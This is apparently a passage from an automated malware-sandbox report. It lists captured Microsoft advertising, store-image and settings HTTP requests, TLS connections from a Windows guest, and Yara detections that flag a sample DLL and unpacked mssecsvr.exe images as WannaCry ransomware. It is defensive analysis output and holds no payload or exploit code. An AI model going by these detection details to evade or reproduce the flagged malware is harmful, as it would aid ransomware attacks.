t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAayV1eLk2ImHS+sR9CWYK81qGrpj1TavkOcrJFH1Zzo/GhR5m7+JWWM9k75XTsFBTQYvWUxFgqXZAV7KPPjRLTR3cIBTZyj3JDheeoj1oHz7xbIob7xSW6y2BFyTfPErzFlJ+baiw1OVNVIjF9qdbkxLKpVHcsoLyBzEG/mS6oUV4aIz+CyfZc4LP+c/UbMaHNrhR+khCbdHyXLmEZYj1D00+qm+vo/nl/CF9rJS6wM49dc+1sKgS/25ELK34NZ8ZFJ7qVupl98VpcBWXtLv7Ek6vSXqI8cjdHfrrTj4GfJRicSgvoAYREQr7yYenDUOfqAOz8fjIdd4kHJ6jZixX4EDZgAACJpo4MeKEMwIqAF21H2ex6DOMgMYujMm9IalQf4XO5Nu/zccBU8Y/JklTLkEzgkX9BolussMf+sCbapYk9jUEzCXIn7jsNPgf/KkESq1KBsgUduQQqESLUupkyFMqM6PGE2PY6YWsTb1kTMdV2fkfgslmfSpyQfbjYEE8ZZq6w6WUgECRGPD9Zjc3YZ+fUrJdYzZ74LQGvojB3ytKah9nZ1MK452Ex38b7UE1eE26poXphlV14pGojf9AHxi18L4y5s1WX765ewD7Td9o1tTMpT/gbA/05MAQfxrv0Mxqi04LfMI7E1jn8prp9lCbLYU2eQ+zT3CsVkUZu9yCZE0ecCrrPvfJN6iizryaxEQOlGMo5MZouJf3p7tKzTAL+fdOCklD+53nOEju0g4PcAMVOczaydCCA9E6sj+iUe3K1XdrEY8XN1gsAaHweHYxK1Xfv9LV3hTqGtDnDlYXs/G6zPrxyyeexefgEvzVJkRcqXeeQWK7se8XtmtVa/5QOKNZ/P1i2zgF5briTpu0uwzM4NcghS+Vsaa8+r29J61dXjz3cluoUSMNSSs734ZF9arOktS1gE=&p=Cache-Control: no-cacheMS-CV: r7U++ELBvUuvTLsQ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.23070.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8e7acf32-4622-490b-b63f-0ba9c0d9a24e?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.19460.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.304469a1-c8b6-4cdc-aa11-eaa96e2fdfd6?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.31225.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.3ffd9abd-094d-4594-b6c3-8e079298b84b?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020742Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=f7706ec095734f248913178f2be18e87&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-280815&oemName=ouyquf%2C%20Inc.&oemid=ouyquf%2C%20Inc.&ossku=Professional&smBiosDm=ouyquf7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAayV1eLk2ImHS+sR9CWYK81qGrpj1TavkOcrJFH1Zzo/GhR5m7+JWWM9k75XTsFBTQYvWUxFgqXZAV7KPPjRLTR3cIBTZyj3JDheeoj1oHz7xbIob7xSW6y2BFyTfPErzFlJ+baiw1OVNVIjF9qdbkxLKpVHcsoLyBzEG/mS6oUV4aIz+CyfZc4LP+c/UbMaHNrhR+khCbdHyXLmEZYj1D00+qm+vo/nl/CF9rJS6wM49dc+1sKgS/25ELK34NZ8ZFJ7qVupl98VpcBWXtLv7Ek6vSXqI8cjdHfrrTj4GfJRicSgvoAYREQr7yYenDUOfqAOz8fjIdd4kHJ6jZixX4EDZgAACJpo4MeKEMwIqAF21H2ex6DOMgMYujMm9IalQf4XO5Nu/zccBU8Y/JklTLkEzgkX9BolussMf+sCbapYk9jUEzCXIn7jsNPgf/KkESq1KBsgUduQQqESLUupkyFMqM6PGE2PY6YWsTb1kTMdV2fkfgslmfSpyQfbjYEE8ZZq6w6WUgECRGPD9Zjc3YZ+fUrJdYzZ74LQGvojB3ytKah9nZ1MK452Ex38b7UE1eE26poXphlV14pGojf9AHxi18L4y5s1WX765ewD7Td9o1tTMpT/gbA/05MAQfxrv0Mxqi04LfMI7E1jn8prp9lCbLYU2eQ+zT3CsVkUZu9yCZE0ecCrrPvfJN6iizryaxEQOlGMo5MZouJf3p7tKzTAL+fdOCklD+53nOEju0g4PcAMVOczaydCCA9E6sj+iUe3K1XdrEY8XN1gsAaHweHYxK1Xfv9LV3hTqGtDnDlYXs/G6zPrxyyeexefgEvzVJkRcqXeeQWK7se8XtmtVa/5QOKNZ/P1i2zgF5briTpu0uwzM4NcghS+Vsaa8+r29J61dXjz3cluoUSMNSSs734ZF9arOktS1gE=&p=Cache-Control: no-cacheMS-CV: r7U++ELBvUuvTLsQ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.32938.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.721cfb02-7935-45dc-9d66-2d6e6b2ff76c?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.41671.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.86b1d82d-8b47-4bda-99fc-8a1db0a7ac9d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.31660.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.9cf7ca2f-497e-4cb1-be08-431c9fcc4d54?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.5075.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.f329a73d-1ae8-4445-aa4c-bf40f3c5d62d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020751Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=374bce9b285f4a2db73096a258c8ff28&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-338389&oemName=ouyquf%2C%20Inc.&oemid=ouyquf%2C%20Inc.&ossku=Professional&smBiosDm=ouyquf7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAayV1eLk2ImHS+sR9CWYK81qGrpj1TavkOcrJFH1Zzo/GhR5m7+JWWM9k75XTsFBTQYvWUxFgqXZAV7KPPjRLTR3cIBTZyj3JDheeoj1oHz7xbIob7xSW6y2BFyTfPErzFlJ+baiw1OVNVIjF9qdbkxLKpVHcsoLyBzEG/mS6oUV4aIz+CyfZc4LP+c/UbMaHNrhR+khCbdHyXLmEZYj1D00+qm+vo/nl/CF9rJS6wM49dc+1sKgS/25ELK34NZ8ZFJ7qVupl98VpcBWXtLv7Ek6vSXqI8cjdHfrrTj4GfJRicSgvoAYREQr7yYenDUOfqAOz8fjIdd4kHJ6jZixX4EDZgAACJpo4MeKEMwIqAF21H2ex6DOMgMYujMm9IalQf4XO5Nu/zccBU8Y/JklTLkEzgkX9BolussMf+sCbapYk9jUEzCXIn7jsNPgf/KkESq1KBsgUduQQqESLUupkyFMqM6PGE2PY6YWsTb1kTMdV2fkfgslmfSpyQfbjYEE8ZZq6w6WUgECRGPD9Zjc3YZ+fUrJdYzZ74LQGvojB3ytKah9nZ1MK452Ex38b7UE1eE26poXphlV14pGojf9AHxi18L4y5s1WX765ewD7Td9o1tTMpT/gbA/05MAQfxrv0Mxqi04LfMI7E1jn8prp9lCbLYU2eQ+zT3CsVkUZu9yCZE0ecCrrPvfJN6iizryaxEQOlGMo5MZouJf3p7tKzTAL+fdOCklD+53nOEju0g4PcAMVOczaydCCA9E6sj+iUe3K1XdrEY8XN1gsAaHweHYxK1Xfv9LV3hTqGtDnDlYXs/G6zPrxyyeexefgEvzVJkRcqXeeQWK7se8XtmtVa/5QOKNZ/P1i2zgF5briTpu0uwzM4NcghS+Vsaa8+r29J61dXjz3cluoUSMNSSs734ZF9arOktS1gE=&p=Cache-Control: no-cacheMS-CV: r7U++ELBvUuvTLsQ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.51843.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.c13e8407-eaf8-447a-a5d6-9abd8bc2c1f3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.54145.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.0df01b4e-7fca-47eb-b3d7-95ba7990754d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.56668.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.a2d9522a-f7d1-4f21-9ea4-8ba298101695?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.5845.13510798886747090.492cc081-9f95-48fd-b532-eba9c10ac577.477c821a-ca1f-4c68-937c-677b2841df44?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.54562.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.24af4abe-62f8-404b-b1a9-ee8fe4d32d94?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.59367.13510798885854323.dbec43fa-fcea-4036-9b1c-96de66922c18.da850a8e-5b3f-49fd-b3dc-6a8c0db400e4?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020828Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=bb10510b70a643bcb0ab3b7ede82a7a3&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611723&metered=false&nettype=ethernet&npid=sc-310091&oemName=ouyquf%2C%20Inc.&oemid=ouyquf%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=ouyquf7%2C1&tl=2&tsu=1611723&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAayV1eLk2ImHS+sR9CWYK81qGrpj1TavkOcrJFH1Zzo/GhR5m7+JWWM9k75XTsFBTQYvWUxFgqXZAV7KPPjRLTR3cIBTZyj3JDheeoj1oHz7xbIob7xSW6y2BFyTfPErzFlJ+baiw1OVNVIjF9qdbkxLKpVHcsoLyBzEG/mS6oUV4aIz+CyfZc4LP+c/UbMaHNrhR+khCbdHyXLmEZYj1D00+qm+vo/nl/CF9rJS6wM49dc+1sKgS/25ELK34NZ8ZFJ7qVupl98VpcBWXtLv7Ek6vSXqI8cjdHfrrTj4GfJRicSgvoAYREQr7yYenDUOfqAOz8fjIdd4kHJ6jZixX4EDZgAACJpo4MeKEMwIqAF21H2ex6DOMgMYujMm9IalQf4XO5Nu/zccBU8Y/JklTLkEzgkX9BolussMf+sCbapYk9jUEzCXIn7jsNPgf/KkESq1KBsgUduQQqESLUupkyFMqM6PGE2PY6YWsTb1kTMdV2fkfgslmfSpyQfbjYEE8ZZq6w6WUgECRGPD9Zjc3YZ+fUrJdYzZ74LQGvojB3ytKah9nZ1MK452Ex38b7UE1eE26poXphlV14pGojf9AHxi18L4y5s1WX765ewD7Td9o1tTMpT/gbA/05MAQfxrv0Mxqi04LfMI7E1jn8prp9lCbLYU2eQ+zT3CsVkUZu9yCZE0ecCrrPvfJN6iizryaxEQOlGMo5MZouJf3p7tKzTAL+fdOCklD+53nOEju0g4PcAMVOczaydCCA9E6sj+iUe3K1XdrEY8XN1gsAaHweHYxK1Xfv9LV3hTqGtDnDlYXs/G6zPrxyyeexefgEvzVJkRcqXeeQWK7se8XtmtVa/5QOKNZ/P1i2zgF5briTpu0uwzM4NcghS+Vsaa8+r29J61dXjz3cluoUSMNSSs734ZF9arOktS1gE=&p=Cache-Control: no-cacheMS-CV: AJnaxxmavkaQgil/.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.62687.13510798885854323.6a8c11ad-84e9-4247-9ba9-ab3742bdbb87.e61dfadd-3bdd-4f66-beb1-6bb763b60b02?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.64125.13510798886747090.492cc081-9f95-48fd-b532-eba9c10ac577.9bc20b6e-b23e-440d-a57d-43a19d3c51a5?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.65344.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.2a7e9f85-6e2d-4bc7-ad81-13196f5baf00?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.7873.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.7885dc21-4015-4284-a596-d3d24cf6c1b8?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWHdvu?ver=c96d HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWHt6Y?ver=1a17 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1815280248&PG=PC000P0FR5.0000000IRT&REQASID=34CD7B0BF17E4FC0A63593532E4CFEE6&UNID=338388&ASID=2f89133a103e4ca8a4b11feaa3c4f527&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=34c63308c0ac4ca2ab1cc10c85b91178&DEVOSVER=10.0.17134.1&REQT=20220720T170729&TIME=20220721T020828Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1815280248&PG=PC000P0FR5.0000000IRT&REQASID=34CD7B0BF17E4FC0A63593532E4CFEE6&UNID=338388&ASID=2f89133a103e4ca8a4b11feaa3c4f527&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=34c63308c0ac4ca2ab1cc10c85b91178&DEVOSVER=10.0.17134.1&REQT=20220720T170729&TIME=20220721T020829Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE50Aay?ver=cbae HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE50sf3?ver=7819 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /settings/v2.0/wsd/muse?os=Windows&osVer=10.0.17134.1.amd64fre.rs4_release.180410-1804&deviceId=a2ab526a-d38d-4fc9-8ba0-e34b8d6354e8&sampleId=8875098&deviceClass=Windows.Desktop&sku=48&locale=en-US&ring=Retail&AttrDataVer=107&App=&AppVer=10.0&ubr=1 HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonIf-None-Match: 1633:2EA4AD209B1132B4::2F0891BD3DUser-Agent: cpprestsdk/2.8.0Host: settings-win.data.microsoft.com

Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.6.115:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.6.115:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.6.115:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.67:443 -> 192.168.2.7:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.67:443 -> 192.168.2.7:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:50213 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:50213 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.253.33.200:443 -> 192.168.2.7:50218 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.253.33.200:443 -> 192.168.2.7:50217 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.108.18:443 -> 192.168.2.7:50256 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.108.18:443 -> 192.168.2.7:50255 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:50309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:50329 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:50369 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:50533 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:50534 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:50948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:51003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:51452 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:51806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.40.129.122:443 -> 192.168.2.7:52114 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:52462 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:52624 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:52900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.238.103.94:443 -> 192.168.2.7:53137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.238.103.94:443 -> 192.168.2.7:53172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:54230 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:54416 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:58156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:58458 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.15:443 -> 192.168.2.7:64727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.15:443 -> 192.168.2.7:64726 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Yara detected Wannacry ransomware

Source: Yara match	File source: QbNF1cvpa0.dll, type: SAMPLE
Source: Yara match	File source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
